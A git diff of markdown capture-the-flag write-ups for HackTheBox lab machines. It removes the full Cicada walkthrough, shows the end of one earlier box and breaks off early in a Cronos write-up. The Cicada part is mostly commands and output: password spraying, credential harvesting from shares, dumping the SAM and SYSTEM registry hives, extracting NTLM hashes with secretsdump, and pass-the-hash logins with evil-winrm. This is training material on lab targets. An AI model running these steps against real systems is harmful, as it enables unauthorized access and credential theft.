+[*] Creating service IilX on brunodc.bruno.vl..... +[*] Starting service IilX..... +[!] Press help for extra shell commands +Microsoft Windows [Version 10.0.20348.768] +(c) Microsoft Corporation. All rights reserved. + +C:\Windows\system32> whoami +nt authority\system + +C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt +[REDACTED] +``` + +And we got the root flag. \ No newline at end of file diff --git a/Cicada HTB [EASY].md b/Cicada HTB [EASY].md deleted file mode 100644 index 67dca96..0000000 --- a/Cicada HTB [EASY].md +++ /dev/null @@ -1,425 +0,0 @@ - -Target : 10.129.231.149 - -Date : 31/05/2026 - -```bash ->  sudo nmap -sC -sV -Pn -O -T4 --min-rate=3000 -p- 10.129.231.149 -Please touch the FIDO authenticator. -Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-31 14:00 +0200 -Nmap scan report for 10.129.231.149 -Host is up (0.090s latency). -Not shown: 65522 filtered tcp ports (no-response) -PORT      STATE SERVICE       VERSION -53/tcp    open  domain        Simple DNS Plus -88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-31 19:01:30Z) -135/tcp   open  msrpc         Microsoft Windows RPC -139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn -389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb, Site: Default-First-Site-Name) -|_ssl-date: 2026-05-31T19:03:04+00:00; +6h59m58s from scanner time. -| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb -| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:CICADA-DC.cicada.htb -| Not valid before: 2024-08-22T20:24:16 -|_Not valid after:  2025-08-22T20:24:16 -445/tcp   open  microsoft-ds? -464/tcp   open  kpasswd5? -593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0 -636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb, Site: Default-First-Site-Name) -|_ssl-date: 2026-05-31T19:03:05+00:00; +6h59m58s from scanner time. -| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb -| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:CICADA-DC.cicada.htb -| Not valid before: 2024-08-22T20:24:16 -|_Not valid after:  2025-08-22T20:24:16 -3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb, Site: Default-First-Site-Name) -|_ssl-date: 2026-05-31T19:03:04+00:00; +6h59m58s from scanner time. -| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb -| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:CICADA-DC.cicada.htb -| Not valid before: 2024-08-22T20:24:16 -|_Not valid after:  2025-08-22T20:24:16 -3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb, Site: Default-First-Site-Name) -| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb -| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:CICADA-DC.cicada.htb -| Not valid before: 2024-08-22T20:24:16 -|_Not valid after:  2025-08-22T20:24:16 -|_ssl-date: 2026-05-31T19:03:05+00:00; +6h59m58s from scanner time. -5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) -|_http-server-header: Microsoft-HTTPAPI/2.0 -|_http-title: Not Found -65173/tcp open  msrpc         Microsoft Windows RPC -Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port -Device type: general purpose -Running (JUST GUESSING): Microsoft Windows 2022|10|11|2012|2016 (89%) -OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_11 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016 -Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows 10 1703 or Windows 11 21H2 - 23H2 (85%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%) -No exact OS matches for host (test conditions non-ideal). -Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows - -Host script results: -| smb2-security-mode:   -|   3.1.1:   -|_    Message signing enabled and required -|_clock-skew: mean: 6h59m57s, deviation: 0s, median: 6h59m57s -| smb2-time:   -|   date: 2026-05-31T19:02:24 -|_  start_date: N/A - -OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 170.62 seconds ->  echo "cicada.htb 10.129.231.149" | sudo tee -a /etc/hosts -cicada.htb 10.129.231.149 -``` - -This seems to be a classic AD box : LDAP on ports `389/tcp` `636/tcp`, `3268/tcp`, RPC and NetBIOS on `135/tcp` and `139/tcp` respectively, Kerberos on port `88/tcp`, but we also have a http server running on `5985/tcp` and DNS on port `53/tcp`, and SMB 3.1.1 on port `445/tcp`. We also have RPC over HTTP at port `593/tcp`. - -We'll start by looking at the samba shares : - -```bash ->  nxc smb 10.129.231.149 -u guest -p '' --shares --groups --users -SMB         10.129.231.149  445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:None) (Null Auth:True) -SMB         10.129.231.149  445    CICADA-DC        [+] cicada.htb\guest:   -SMB         10.129.231.149  445    CICADA-DC        [*] Enumerated shares -SMB         10.129.231.149  445    CICADA-DC        Share           Permissions     Remark -SMB         10.129.231.149  445    CICADA-DC        -----           -----------     ------ -SMB         10.129.231.149  445    CICADA-DC        ADMIN$                          Remote Admin -SMB         10.129.231.149  445    CICADA-DC        C$                              Default share -SMB         10.129.231.149  445    CICADA-DC        DEV                               -SMB         10.129.231.149  445    CICADA-DC        HR              READ              -SMB         10.129.231.149  445    CICADA-DC        IPC$            READ            Remote IPC -SMB         10.129.231.149  445    CICADA-DC        NETLOGON                        Logon server share   -SMB         10.129.231.149  445    CICADA-DC        SYSVOL                          Logon server share   -SMB         10.129.231.149  445    CICADA-DC        [-] [REMOVED] Arg moved to the ldap protocol -``` - -We have a `READ` right as guest on HR. - -```bash ->  smbclient //10.129.231.149/HR -U guest -Password for [WORKGROUP\guest]: -Try "help" to get a list of possible commands. -smb: \> ls - .                                   D        0  Thu Mar 14 13:29:09 2024 - ..                                  D        0  Thu Mar 14 13:21:29 2024 - Notice from HR.txt                  A     1266  Wed Aug 28 19:31:48 2024 - -               4168447 blocks of size 4096. 477862 blocks available -smb: \> get "Notice from HR.txt -getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (5.8 KiloBytes/sec) (average 5.8 KiloBytes/sec) -``` - -We read the text : - -```bash ->  cat "Notice from HR.txt" - -Dear new hire! - -Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure. - -Your default password is: Cicada$M6Corpb*@Lp#nZp!8 - -To change your password: - -1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above. -2. Once logged in, navigate to your account settings or profile settings section. -3. Look for the option to change your password. This will be labeled as "Change Password". -4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters. -5. After changing your password, make sure to save your changes. - -Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password. - -If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb. - -Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team! - -Best regards, -Cicada Corp -``` - -So we have a "default password" : `Cicada$M6Corpb*@Lp#nZp!8` but no username. - -We'll add CICADA-DC.cicada.htb and CICADA-DC to `/etc/hosts/` next to the target IP. - -Now, we need to find the username(s) corresponding to the password. - -```bash ->  nxc smb 10.129.231.149 -d cicada.htb -u guest -p '' --rid-brute 10000 - -SMB         10.129.231.149  445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:None) (Null Auth:True) -SMB         10.129.231.149  445    CICADA-DC        [+] cicada.htb\guest:   -SMB         10.129.231.149  445    CICADA-DC        498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup) -SMB         10.129.231.149  445    CICADA-DC        500: CICADA\Administrator (SidTypeUser) -SMB         10.129.231.149  445    CICADA-DC        501: CICADA\Guest (SidTypeUser) -SMB         10.129.231.149  445    CICADA-DC        502: CICADA\krbtgt (SidTypeUser) -SMB         10.129.231.149  445    CICADA-DC        512: CICADA\Domain Admins (SidTypeGroup) -SMB         10.129.231.149  445    CICADA-DC        513: CICADA\Domain Users (SidTypeGroup) -SMB         10.129.231.149  445    CICADA-DC        514: CICADA\Domain Guests (SidTypeGroup) -SMB         10.129.231.149  445    CICADA-DC        515: CICADA\Domain Computers (SidTypeGroup) -SMB         10.129.231.149  445    CICADA-DC        516: CICADA\Domain Controllers (SidTypeGroup) -SMB         10.129.231.149  445    CICADA-DC        517: CICADA\Cert Publishers (SidTypeAlias) -SMB         10.129.231.149  445    CICADA-DC        518: CICADA\Schema Admins (SidTypeGroup) -SMB         10.129.231.149  445    CICADA-DC        519: CICADA\Enterprise Admins (SidTypeGroup) -SMB         10.129.231.149  445    CICADA-DC        520: CICADA\Group Policy Creator Owners (SidTypeGroup) -SMB         10.129.231.149  445    CICADA-DC        521: CICADA\Read-only Domain Controllers (SidTypeGroup) -SMB         10.129.231.149  445    CICADA-DC        522: CICADA\Cloneable Domain Controllers (SidTypeGroup) -SMB         10.129.231.149  445    CICADA-DC        525: CICADA\Protected Users (SidTypeGroup) -SMB         10.129.231.149  445    CICADA-DC        526: CICADA\Key Admins (SidTypeGroup) -SMB         10.129.231.149  445    CICADA-DC        527: CICADA\Enterprise Key Admins (SidTypeGroup) -SMB         10.129.231.149  445    CICADA-DC        553: CICADA\RAS and IAS Servers (SidTypeAlias) -SMB         10.129.231.149  445    CICADA-DC        571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias) -SMB         10.129.231.149  445    CICADA-DC        572: CICADA\Denied RODC Password Replication Group (SidTypeAlias) -SMB         10.129.231.149  445    CICADA-DC        1000: CICADA\CICADA-DC$ (SidTypeUser) -SMB         10.129.231.149  445    CICADA-DC        1101: CICADA\DnsAdmins (SidTypeAlias) -SMB         10.129.231.149  445    CICADA-DC        1102: CICADA\DnsUpdateProxy (SidTypeGroup) -SMB         10.129.231.149  445    CICADA-DC        1103: CICADA\Groups (SidTypeGroup) -SMB         10.129.231.149  445    CICADA-DC        1104: CICADA\john.smoulder (SidTypeUser) -SMB         10.129.231.149  445    CICADA-DC        1105: CICADA\sarah.dantelia (SidTypeUser) -SMB         10.129.231.149  445    CICADA-DC        1106: CICADA\michael.wrightson (SidTypeUser) -SMB         10.129.231.149  445    CICADA-DC        1108: CICADA\david.orelious (SidTypeUser) -SMB         10.129.231.149  445    CICADA-DC        1109: CICADA\Dev Support (SidTypeGroup) -SMB         10.129.231.149  445    CICADA-DC        1601: CICADA\emily.oscars (SidTypeUser) -``` - -We make a small list of users with `nano /tmp/cusers.txt` : - -```nano - GNU nano 9.0                                                                                     /tmp/cusers.txt                                                                                      Modified    -john.smoulder -sarah.dantelia                 -david.orelious   -michael.wrightson -emily.oscars -``` - -```bash ->  nxc smb 10.129.231.149 -d cicada.htb -u /tmp/cusers.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success -SMB         10.129.231.149  445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:None) (Null Auth:True) -SMB         10.129.231.149  445    CICADA-DC        [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE   -SMB         10.129.231.149  445    CICADA-DC        [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE   -SMB         10.129.231.149  445    CICADA-DC        [-] cicada.htb\david.orelious:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE   -SMB         10.129.231.149  445    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8   -SMB         10.129.231.149  445    CICADA-DC        [-] cicada.htb\emily.oscars:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE -``` - -So `michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8` it is. - -```bash ->  nxc smb 10.129.231.149 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --shares --groups --users -SMB         10.129.231.149  445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:None) (Null Auth:True) -SMB         10.129.231.149  445    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8   -SMB         10.129.231.149  445    CICADA-DC        [*] Enumerated shares -SMB         10.129.231.149  445    CICADA-DC        Share           Permissions     Remark -SMB         10.129.231.149  445    CICADA-DC        -----           -----------     ------ -SMB         10.129.231.149  445    CICADA-DC        ADMIN$                          Remote Admin -SMB         10.129.231.149  445    CICADA-DC        C$                              Default share -SMB         10.129.231.149  445    CICADA-DC        DEV                               -SMB         10.129.231.149  445    CICADA-DC        HR              READ              -SMB         10.129.231.149  445    CICADA-DC        IPC$            READ            Remote IPC -SMB         10.129.231.149  445    CICADA-DC        NETLOGON        READ            Logon server share   -SMB         10.129.231.149  445    CICADA-DC        SYSVOL          READ            Logon server share   -SMB         10.129.231.149  445    CICADA-DC        -Username-                    -Last PW Set-       -BadPW- -Description-                                                 -SMB         10.129.231.149  445    CICADA-DC        Administrator                 2024-08-26 20:08:03 0       Built-in account for administering the computer/domain   -SMB         10.129.231.149  445    CICADA-DC        Guest                         2024-08-28 17:26:56 0       Built-in account for guest access to the computer/domain   -SMB         10.129.231.149  445    CICADA-DC        krbtgt                        2024-03-14 11:14:10 0       Key Distribution Center Service Account   -SMB         10.129.231.149  445    CICADA-DC        john.smoulder                 2024-03-14 12:17:29 1          -SMB         10.129.231.149  445    CICADA-DC        sarah.dantelia                2024-03-14 12:17:29 1          -SMB         10.129.231.149  445    CICADA-DC        michael.wrightson             2024-03-14 12:17:29 0          -SMB         10.129.231.149  445    CICADA-DC        david.orelious                2024-03-14 12:17:29 1       Just in case I forget my password is aRt$Lp#7t*VQ!3   -SMB         10.129.231.149  445    CICADA-DC        emily.oscars                  2024-08-22 21:20:17 1          -SMB         10.129.231.149  445    CICADA-DC        [*] Enumerated 8 local users: CICADA -``` - -And we got a second user/password combination : `david.orelious:aRt$Lp#7t*VQ!3` - -```bash ->  nxc smb 10.129.231.149 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares -SMB         10.129.231.149  445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:None) (Null Auth:True) -SMB         10.129.231.149  445    CICADA-DC        [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3   -SMB         10.129.231.149  445    CICADA-DC        [*] Enumerated shares -SMB         10.129.231.149  445    CICADA-DC        Share           Permissions     Remark -SMB         10.129.231.149  445    CICADA-DC        -----           -----------     ------ -SMB         10.129.231.149  445    CICADA-DC        ADMIN$                          Remote Admin -SMB         10.129.231.149  445    CICADA-DC        C$                              Default share -SMB         10.129.231.149  445    CICADA-DC        DEV             READ              -SMB         10.129.231.149  445    CICADA-DC        HR              READ              -SMB         10.129.231.149  445    CICADA-DC        IPC$            READ            Remote IPC -SMB         10.129.231.149  445    CICADA-DC        NETLOGON        READ            Logon server share   -SMB         10.129.231.149  445    CICADA-DC        SYSVOL          READ            Logon server share   ->  nxc winrm 10.129.231.149 -u david.orelious -p 'aRt$Lp#7t*VQ!3' -WINRM       10.129.231.149  5985   CICADA-DC        [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb)   -WINRM       10.129.231.149  5985   CICADA-DC        [-] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3 -``` - -Looks like we can't get a shell, but swe can `READ` `DEV` with this one. - -```bash ->  smbclient //10.129.231.149/DEV -U 'david.orelious%aRt$Lp#7t*VQ!3' -Try "help" to get a list of possible commands. -smb: \> ls - .                                   D        0  Thu Mar 14 13:31:39 2024 - ..                                  D        0  Thu Mar 14 13:21:29 2024 - Backup_script.ps1                   A      601  Wed Aug 28 19:28:22 2024 - -               4168447 blocks of size 4096. 481542 blocks available -smb: \> get Backup_script.ps1 -getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec) -``` - -```bash ->  cat Backup_script.ps1 - - -$sourceDirectory = "C:\smb" -$destinationDirectory = "D:\Backup" - -$username = "emily.oscars" -$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force -$credentials = New-Object System.Management.Automation.PSCredential($username, $password) -$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss" -$backupFileName = "smb_backup_$dateStamp.zip" -$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName -Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath -Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath" -``` - -We got a new username/password : `emily.oscars:Q!3@Lp#M6b*7t*Vt` - -Maybe we'll have more luck this time. - -```bash ->  nxc winrm 10.129.231.149 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' -WINRM       10.129.231.149  5985   CICADA-DC        [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb)   -WINRM       10.129.231.149  5985   CICADA-DC        [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt (Pwn3d!) -``` - -And we do. - -```PowerShell ->  evil-winrm -i 10.129.231.149 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/fragment.rb:35: warning: redefining 'object_id' may cause serious problems -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/message_fragmenter.rb:29: warning: redefining 'object_id' may cause serious problems -/usr/lib/ruby/3.4.0/readline.rb:4: warning: reline was loaded from the standard library, but will no longer be part of the default gems starting from Ruby 4.0.0. -You can add reline to your Gemfile or gemspec to silence this warning. -                                         -Evil-WinRM shell v3.9 -                                         -Warning: Remote path completions is disabled due to ruby limitation: undefined method 'quoting_detection_proc' for module Reline -                                         -Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion -                                         -Info: Establishing connection to remote endpoint -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... -*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> dir /Users/emily.oscars.CICADA/Desktop - - -   Directory: C:\Users\emily.oscars.CICADA\Desktop - - -Mode                 LastWriteTime         Length Name -----                 -------------         ------ ---- --ar---         5/31/2026  11:58 AM             34 user.txt - - -*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> type /Users/emily.oscars.CICADA/Desktop/user.txt -e187e1d*************deff92 -``` - -And we got the user flag. - -Now for PrivEsc : - -```PowerShell -*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami /priv - -PRIVILEGES INFORMATION ----------------------- - -Privilege Name                Description                    State -============================= ============================== ======= -SeBackupPrivilege             Back up files and directories  Enabled -SeRestorePrivilege            Restore files and directories  Enabled -SeShutdownPrivilege           Shut down the system           Enabled -SeChangeNotifyPrivilege       Bypass traverse checking       Enabled -SeIncreaseWorkingSetPrivilege Increase a process working set Enabled -``` - -So we got a `SeBackupPrivilege` and a `SeRestorePrivilege` as emily. - -```PowerShell -*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> cd C:\ProgramData -*Evil-WinRM* PS C:\ProgramData>reg save HKLM\SAM sam -The operation completed successfully. -*Evil-WinRM* PS C:\ProgramData>reg save HKLM\SYSTEM system -The operation completed successfully. -*Evil-WinRM* PS C:\ProgramData> download sam -  -                                         -Info: Downloading C:\ProgramData\sam to sam -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... - -*Evil-WinRM* PS C:\ProgramData> download system -                                         -Info: Downloading C:\ProgramData\system to system -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... -                                         -Info: Download successful! -``` - -Then, we use impacket to get hashes : - -```bash ->  secretsdump.py -sam sam -system system LOCAL -Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies   - -[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620 -[*] Dumping local SAM hashes (uid:rid:lmhash:nthash) -Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341::: -Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: -DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: -[*] Cleaning up... -``` - -And we got the administrator hash : - -`Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341` - -This is an LM:NT or NTLM hash. We can ignore the `aad3...` this is the default AP hash, outdated, completely useless, the real hash is `:2b87e7c93a3e8a0ea4a581937016f341`. - -```PowerShell ->  evil-winrm -i 10.129.231.149 -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341 - -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/fragment.rb:35: warning: redefining 'object_id' may cause serious problems -/usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/message_fragmenter.rb:29: warning: redefining 'object_id' may cause serious problems -/usr/lib/ruby/3.4.0/readline.rb:4: warning: reline was loaded from the standard library, but will no longer be part of the default gems starting from Ruby 4.0.0. -You can add reline to your Gemfile or gemspec to silence this warning. -                                         -Evil-WinRM shell v3.9 -                                         -Warning: Remote path completions is disabled due to ruby limitation: undefined method 'quoting_detection_proc' for module Reline -                                         -Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion -                                         -Info: Establishing connection to remote endpoint -*Evil-WinRM* PS C:\Users\Administrator\Documents> type /Users/Administrator/Desktop/root.txt -8b768*************8e7 -``` - -And we got the root flag. diff --git a/Cronos [MEDIUM].md b/Cronos [MEDIUM].md deleted file mode 100644 index 6e72a0b..0000000 --- a/Cronos [MEDIUM].md +++ /dev/null @@ -1,422 +0,0 @@ -Target : 10.129.4.148 - -Date : 28/05/2026 - -```bash ->  sudo echo "10.129.4.148 cronos.htb" | sudo tee -a /etc/hosts -Please touch the FIDO authenticator. -10.129.4.148 cronos.htb ->  nmap -Pn -sV -sC -O -p- --min-rate=3000 10.129.4.148 -Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-28 12:32 +0200 -Nmap scan report for cronos.htb (10.129.4.148) -Host is up (0.080s latency). -Not shown: 65532 closed tcp ports (reset) -PORT   STATE SERVICE VERSION -22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey:   -|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA) -|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA) -|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519) -53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux) -| dns-nsid:   -|_  bind.version: 9.10.3-P4-Ubuntu -80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu)) -|_http-title: Cronos -|_http-server-header: Apache/2.4.18 (Ubuntu) -Device type: general purpose -Running: Linux 3.X|4.X -OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 -OS details: Linux 3.10 - 4.11, Linux 3.13 - 4.4 -Network Distance: 2 hops -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel - -OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 48.43 seconds -``` - -We see three ports open : ssh `22/tcp`, `80/tcp` `Apache httpd 2.4.18` and DNS `53/tcp` with the version `ISC BIND 9.10.3-P4`. - -On the web application, we see documentation and github about the `laravel` VPS. - -```bash ->  curl -sI http://cronos.htb -HTTP/1.1 200 OK -Date: Thu, 28 May 2026 11:52:30 GMT -Server: Apache/2.4.18 (Ubuntu) -Cache-Control: no-cache, private -Set-Cookie: XSRF-TOKEN=eyJpdiI6ImUwcVB1TFQ4SHYzZkQwT1A2VDBpdEE9PSIsInZhbHVlIjoiU2dKRFlsMWo2VlJ5QXA2bzlYXC9pRUgySHlNODViRlRtS2YycHV5TTFzQ2R1VXJxSXRWSitQNVVmS2h6ajFDVGMyN3YwMWsreHM3V2J5cEhSRVRXeEtRPT0iLCJtYWMiOiI -xOTgyNmM4MGYyNjgxZGUwMTUyYzFhYjkzMWM3OTk2ODg0MDc1ZDhiOTAyYjYzZGNmNDk2Mzk0MmQyZTE1MmE1In0%3D; expires=Thu, 28-May-2026 13:52:30 GMT; Max-Age=7200; path=/ -Set-Cookie: 